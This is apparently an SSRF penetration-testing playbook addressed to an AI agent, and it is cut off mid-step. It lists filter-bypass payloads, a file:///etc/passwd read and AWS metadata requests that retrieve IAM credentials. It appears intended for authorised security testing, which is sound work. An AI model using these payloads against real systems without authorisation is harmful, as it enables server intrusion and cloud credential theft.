ssrflisted

# SSRF playbook You suspect a parameter is being fetched server-side. Confirm it, escalate it, prove impact. Execution rule: use the actual parameter, callback host, and target URL before running commands. Never write literal placeholders such as `<endpoint>` or `<role>` to files; if the collaborator/canary host is missing, ask once. ## 1. Confirm the primitive Send the `http` request with the parameter pointing to: - An out-of-band canary the user provides (interactsh / burp collaborator / a netcat listener they own) - Compare to a control value to confirm the server is doing the fetch If the canary fires, you have at minimum a blind SSRF. ## 2. Map filter behavior Probe how the server validates the URL. For each probe, capture status and body: - `http://127.0.0.1`, `http://localhost`, `http://0.0.0.0` - IPv6: `http://[::1]`, `http://[::ffff:127.0.0.1]` - Decimal/octal: `http://2130706433`, `http://0177.0.0.1` - DNS rebinding hosts the user provides - Schemes: `gopher://`, `file:///etc/passwd`, `dict://`, `ftp://` - Redirect chain: a user-controlled URL that 302s to internal target Group probes by outcome to fingerprint the parser (Python urllib? Java URL? curl? net/http?). ## 3. Hit cloud metadata If you suspect AWS: ``` GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> ``` If IMDSv2 is enforced, attempt to obtain the token via the same SSRF if the primitive supports heade